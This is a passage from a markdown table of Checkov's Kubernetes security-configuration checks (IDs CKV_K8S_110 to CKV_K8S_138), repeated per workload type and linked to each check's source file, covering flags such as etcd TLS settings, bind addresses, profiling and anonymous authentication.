[KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) |\n| 671 | CKV_K8S_110 | resource | DaemonSet              | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                              | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) |\n| 672 | CKV_K8S_110 | resource | Deployment             | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                              | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) |\n| 673 | CKV_K8S_110 | resource | DeploymentConfig       | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                              | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) |\n| 674 | CKV_K8S_110 | resource | Job                    | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                              | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) |\n| 675 | CKV_K8S_110 | resource | Pod                    | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                              | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) |\n| 676 | CKV_K8S_110 | resource | PodTemplate            | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                              | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) |\n| 677 | CKV_K8S_110 | resource | ReplicaSet             | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                              | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) |\n| 678 | CKV_K8S_110 | resource | ReplicationController  | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                              | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) |\n| 679 | CKV_K8S_110 | resource | StatefulSet            | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                              | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) |\n| 680 | CKV_K8S_111 | resource | CronJob                | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                  | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                     |\n| 681 | CKV_K8S_111 | resource | DaemonSet              | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                  | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                     |\n| 682 | CKV_K8S_111 | resource | Deployment             | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                  | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                     |\n| 683 | CKV_K8S_111 | resource | DeploymentConfig       | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                  | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                     |\n| 684 | CKV_K8S_111 | resource | Job                    | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                  | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                     |\n| 685 | CKV_K8S_111 | resource | Pod                    | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                  | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                     |\n| 686 | CKV_K8S_111 | resource | PodTemplate            | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                  | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                     |\n| 687 | CKV_K8S_111 | resource | ReplicaSet             | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                  | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                     |\n| 688 | CKV_K8S_111 | resource | ReplicationController  | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                  | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                     |\n| 689 | CKV_K8S_111 | resource | StatefulSet            | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                  | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                     |\n| 690 | CKV_K8S_112 | resource | CronJob                | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                         | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                       |\n| 691 | CKV_K8S_112 | resource | DaemonSet              | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                         | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                       |\n| 692 | CKV_K8S_112 | resource | Deployment             | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                         | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                       |\n| 693 | CKV_K8S_112 | resource | DeploymentConfig       | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                         | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                       |\n| 694 | CKV_K8S_112 | resource | Job                    | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                         | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                       |\n| 695 | CKV_K8S_112 | resource | Pod                    | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                         | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                       |\n| 696 | CKV_K8S_112 | resource | PodTemplate            | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                         | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                       |\n| 697 | CKV_K8S_112 | resource | ReplicaSet             | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                         | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                       |\n| 698 | CKV_K8S_112 | resource | ReplicationController  | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                         | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                       |\n| 699 | CKV_K8S_112 | resource | StatefulSet            | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                         | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                       |\n| 700 | CKV_K8S_113 | resource | CronJob                | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                           |\n| 701 | CKV_K8S_113 | resource | DaemonSet              | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                           |\n| 702 | CKV_K8S_113 | resource | Deployment             | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                           |\n| 703 | CKV_K8S_113 | resource | DeploymentConfig       | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                           |\n| 704 | CKV_K8S_113 | resource | Job                    | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                           |\n| 705 | CKV_K8S_113 | resource | Pod                    | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                           |\n| 706 | CKV_K8S_113 | resource | PodTemplate            | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                           |\n| 707 | CKV_K8S_113 | resource | ReplicaSet             | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                           |\n| 708 | CKV_K8S_113 | resource | ReplicationController  | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                           |\n| 709 | CKV_K8S_113 | resource | StatefulSet            | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                           |\n| 710 | CKV_K8S_114 | resource | CronJob                | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                               |\n| 711 | CKV_K8S_114 | resource | DaemonSet              | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                               |\n| 712 | CKV_K8S_114 | resource | Deployment             | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                               |\n| 713 | CKV_K8S_114 | resource | DeploymentConfig       | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                               |\n| 714 | CKV_K8S_114 | resource | Job                    | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                               |\n| 715 | CKV_K8S_114 | resource | Pod                    | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                               |\n| 716 | CKV_K8S_114 | resource | PodTemplate            | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                               |\n| 717 | CKV_K8S_114 | resource | ReplicaSet             | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                               |\n| 718 | CKV_K8S_114 | resource | ReplicationController  | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                               |\n| 719 | CKV_K8S_114 | resource | StatefulSet            | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                               |\n| 720 | CKV_K8S_115 | resource | CronJob                | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                           |\n| 721 | CKV_K8S_115 | resource | DaemonSet              | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                           |\n| 722 | CKV_K8S_115 | resource | Deployment             | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                           |\n| 723 | CKV_K8S_115 | resource | DeploymentConfig       | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                           |\n| 724 | CKV_K8S_115 | resource | Job                    | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                           |\n| 725 | CKV_K8S_115 | resource | Pod                    | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                           |\n| 726 | CKV_K8S_115 | resource | PodTemplate            | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                           |\n| 727 | CKV_K8S_115 | resource | ReplicaSet             | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                           |\n| 728 | CKV_K8S_115 | resource | ReplicationController  | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                           |\n| 729 | CKV_K8S_115 | resource | StatefulSet            | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                    | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                           |\n| 730 | CKV_K8S_116 | resource | CronJob                | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                    | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                       |\n| 731 | CKV_K8S_116 | resource | DaemonSet              | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                    | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                       |\n| 732 | CKV_K8S_116 | resource | Deployment             | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                    | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                       |\n| 733 | CKV_K8S_116 | resource | DeploymentConfig       | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                    | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                       |\n| 734 | CKV_K8S_116 | resource | Job                    | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                    | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                       |\n| 735 | CKV_K8S_116 | resource | Pod                    | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                    | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                       |\n| 736 | CKV_K8S_116 | resource | PodTemplate            | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                    | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                       |\n| 737 | CKV_K8S_116 | resource | ReplicaSet             | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                    | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                       |\n| 738 | CKV_K8S_116 | resource | ReplicationController  | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                    | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                       |\n| 739 | CKV_K8S_116 | resource | StatefulSet            | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                    | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                       |\n| 740 | CKV_K8S_117 | resource | CronJob                | Ensure that the --client-cert-auth argument is set to true                                                                                                                                     | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                               |\n| 741 | CKV_K8S_117 | resource | DaemonSet              | Ensure that the --client-cert-auth argument is set to true                                                                                                                                     | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                               |\n| 742 | CKV_K8S_117 | resource | Deployment             | Ensure that the --client-cert-auth argument is set to true                                                                                                                                     | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                               |\n| 743 | CKV_K8S_117 | resource | DeploymentConfig       | Ensure that the --client-cert-auth argument is set to true                                                                                                                                     | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                               |\n| 744 | CKV_K8S_117 | resource | Job                    | Ensure that the --client-cert-auth argument is set to true                                                                                                                                     | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                               |\n| 745 | CKV_K8S_117 | resource | Pod                    | Ensure that the --client-cert-auth argument is set to true                                                                                                                                     | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                               |\n| 746 | CKV_K8S_117 | resource | PodTemplate            | Ensure that the --client-cert-auth argument is set to true                                                                                                                                     | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                               |\n| 747 | CKV_K8S_117 | resource | ReplicaSet             | Ensure that the --client-cert-auth argument is set to true                                                                                                                                     | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                               |\n| 748 | CKV_K8S_117 | resource | ReplicationController  | Ensure that the --client-cert-auth argument is set to true                                                                                                                                     | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                               |\n| 749 | CKV_K8S_117 | resource | StatefulSet            | Ensure that the --client-cert-auth argument is set to true                                                                                                                                     | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                               |\n| 750 | CKV_K8S_118 | resource | CronJob                | Ensure that the --auto-tls argument is not set to true                                                                                                                                         | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                             |\n| 751 | CKV_K8S_118 | resource | DaemonSet              | Ensure that the --auto-tls argument is not set to true                                                                                                                                         | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                             |\n| 752 | CKV_K8S_118 | resource | Deployment             | Ensure that the --auto-tls argument is not set to true                                                                                                                                         | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                             |\n| 753 | CKV_K8S_118 | resource | DeploymentConfig       | Ensure that the --auto-tls argument is not set to true                                                                                                                                         | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                             |\n| 754 | CKV_K8S_118 | resource | Job                    | Ensure that the --auto-tls argument is not set to true                                                                                                                                         | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                             |\n| 755 | CKV_K8S_118 | resource | Pod                    | Ensure that the --auto-tls argument is not set to true                                                                                                                                         | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                             |\n| 756 | CKV_K8S_118 | resource | PodTemplate            | Ensure that the --auto-tls argument is not set to true                                                                                                                                         | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                             |\n| 757 | CKV_K8S_118 | resource | ReplicaSet             | Ensure that the --auto-tls argument is not set to true                                                                                                                                         | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                             |\n| 758 | CKV_K8S_118 | resource | ReplicationController  | Ensure that the --auto-tls argument is not set to true                                                                                                                                         | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                             |\n| 759 | CKV_K8S_118 | resource | StatefulSet            | Ensure that the --auto-tls argument is not set to true                                                                                                                                         | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                             |\n| 760 | CKV_K8S_119 | resource | CronJob                | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                          | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                         |\n| 761 | CKV_K8S_119 | resource | DaemonSet              | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                          | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                         |\n| 762 | CKV_K8S_119 | resource | Deployment             | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                          | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                         |\n| 763 | CKV_K8S_119 | resource | DeploymentConfig       | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                          | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                         |\n| 764 | CKV_K8S_119 | resource | Job                    | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                          | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                         |\n| 765 | CKV_K8S_119 | resource | Pod                    | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                          | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                         |\n| 766 | CKV_K8S_119 | resource | PodTemplate            | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                          | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                         |\n| 767 | CKV_K8S_119 | resource | ReplicaSet             | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                          | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                         |\n| 768 | CKV_K8S_119 | resource | ReplicationController  | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                          | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                         |\n| 769 | CKV_K8S_119 | resource | StatefulSet            | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                          | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                         |\n| 770 | CKV_K8S_121 | resource | Pod                    | Ensure that the --peer-client-cert-auth argument is set to true                                                                                                                                | Kubernetes | [PeerClientCertAuthTrue.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PeerClientCertAuthTrue.py)                                                       |\n| 771 | CKV_K8S_138 | resource | CronJob                | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                           |\n| 772 | CKV_K8S_138 | resource | DaemonSet              | Ensure that the --anonymous-auth argument is 